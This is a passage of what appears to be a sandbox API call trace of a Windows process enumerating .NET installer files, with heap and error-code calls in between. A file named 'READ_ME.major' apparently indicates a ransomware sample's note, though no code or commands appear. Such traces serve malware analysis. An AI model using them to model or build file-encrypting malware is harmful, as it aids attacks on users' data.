[0108.401] CloseHandle (hObject=0x454) returned 1 [0108.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0108.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0108.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.401] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0108.401] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.401] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.401] GetLastError () returned 0x0 [0108.401] SetLastError (dwErrCode=0x0) [0108.401] GetLastError () returned 0x0 [0108.401] SetLastError (dwErrCode=0x0) [0108.402] GetLastError () returned 0x0 [0108.402] SetLastError (dwErrCode=0x0) [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0108.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0108.402] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0108.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.402] GetLastError () returned 0x0 [0108.402] SetLastError (dwErrCode=0x0) [0108.402] GetLastError () returned 0x0 [0108.402] SetLastError (dwErrCode=0x0) [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0108.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.402] GetLastError () returned 0x0 [0108.402] SetLastError (dwErrCode=0x0) [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0108.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0108.402] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0108.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.402] GetLastError () returned 0x0 [0108.402] SetLastError (dwErrCode=0x0) [0108.402] GetLastError () returned 0x0 [0108.402] SetLastError (dwErrCode=0x0) [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0108.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.402] GetLastError () returned 0x0 [0108.402] SetLastError (dwErrCode=0x0) [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0108.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.402] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0108.402] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0108.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0108.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.403] GetLastError () returned 0x0 [0108.403] SetLastError (dwErrCode=0x0) [0108.403] GetLastError () returned 0x0 [0108.403] SetLastError (dwErrCode=0x0) [0108.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0108.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.403] GetLastError () returned 0x0 [0108.403] SetLastError (dwErrCode=0x0) [0108.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0108.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.403] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0108.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0108.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.403] GetLastError () returned 0x0 [0108.403] SetLastError (dwErrCode=0x0) [0108.403] GetLastError () returned 0x0 [0108.403] SetLastError (dwErrCode=0x0) [0108.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0108.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.403] GetLastError () returned 0x0 [0108.403] SetLastError (dwErrCode=0x0) [0108.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0108.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0108.403] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0108.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0108.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.404] GetLastError () returned 0x0 [0108.404] SetLastError (dwErrCode=0x0) [0108.404] GetLastError () returned 0x0 [0108.404] SetLastError (dwErrCode=0x0) [0108.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0108.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.404] GetLastError () returned 0x0 [0108.404] SetLastError (dwErrCode=0x0) [0108.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0108.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0108.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0108.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x585170 [0108.404] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0108.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.453] GetLastError () returned 0x0 [0108.453] SetLastError (dwErrCode=0x0) [0108.453] GetLastError () returned 0x0 [0108.453] SetLastError (dwErrCode=0x0) [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0108.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.453] GetLastError () returned 0x0 [0108.453] SetLastError (dwErrCode=0x0) [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0108.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x585370 [0108.453] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0108.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.453] GetLastError () returned 0x0 [0108.453] SetLastError (dwErrCode=0x0) [0108.453] GetLastError () returned 0x0 [0108.453] SetLastError (dwErrCode=0x0) [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0108.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.453] GetLastError () returned 0x0 [0108.453] SetLastError (dwErrCode=0x0) [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0108.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x57a5a0 [0108.453] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec96ba5, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfec96ba5, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfec96ba5, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0108.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0108.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.453] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.454] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0108.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.454] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0108.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.454] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0108.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0108.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.454] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.454] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.454] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.454] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0108.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0108.454] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.454] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.454] GetLastError () returned 0x0 [0108.454] SetLastError (dwErrCode=0x0) [0108.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.455] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0108.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0108.455] GetLastError () returned 0x0 [0108.455] SetLastError (dwErrCode=0x0) [0108.455] GetLastError () returned 0x0 [0108.455] SetLastError (dwErrCode=0x0) [0108.455] GetLastError () returned 0x0 [0108.455] SetLastError (dwErrCode=0x0) [0108.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.455] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0108.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.455] GetLastError () returned 0x0 [0108.455] SetLastError (dwErrCode=0x0) [0108.455] GetLastError () returned 0x0 [0108.455] SetLastError (dwErrCode=0x0) [0108.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.455] GetLastError () returned 0x0 [0108.455] SetLastError (dwErrCode=0x0) [0108.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.455] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0108.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0108.455] GetLastError () returned 0x0 [0108.456] SetLastError (dwErrCode=0x0) [0108.456] GetLastError () returned 0x0 [0108.456] SetLastError (dwErrCode=0x0) [0108.456] GetLastError () returned 0x0 [0108.456] SetLastError (dwErrCode=0x0) [0108.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0108.456] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0108.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.456] GetLastError () returned 0x0 [0108.456] SetLastError (dwErrCode=0x0) [0108.456] GetLastError () returned 0x0 [0108.456] SetLastError (dwErrCode=0x0) [0108.456] GetLastError () returned 0x0 [0108.456] SetLastError (dwErrCode=0x0) [0108.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.457] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0108.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.457] GetLastError () returned 0x0 [0108.457] SetLastError (dwErrCode=0x0) [0108.457] GetLastError () returned 0x0 [0108.457] SetLastError (dwErrCode=0x0) [0108.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.457] GetLastError () returned 0x0 [0108.457] SetLastError (dwErrCode=0x0) [0108.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.457] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0108.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0108.457] GetLastError () returned 0x0 [0108.457] SetLastError (dwErrCode=0x0) [0108.457] GetLastError () returned 0x0 [0108.457] SetLastError (dwErrCode=0x0) [0108.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.458] GetLastError () returned 0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.458] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0108.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0108.458] GetLastError () returned 0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.458] GetLastError () returned 0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.458] GetLastError () returned 0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.458] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0108.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.458] GetLastError () returned 0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.458] GetLastError () returned 0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.458] GetLastError () returned 0x0 [0108.458] SetLastError (dwErrCode=0x0) [0108.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0108.458] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0108.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.458] GetLastError () returned 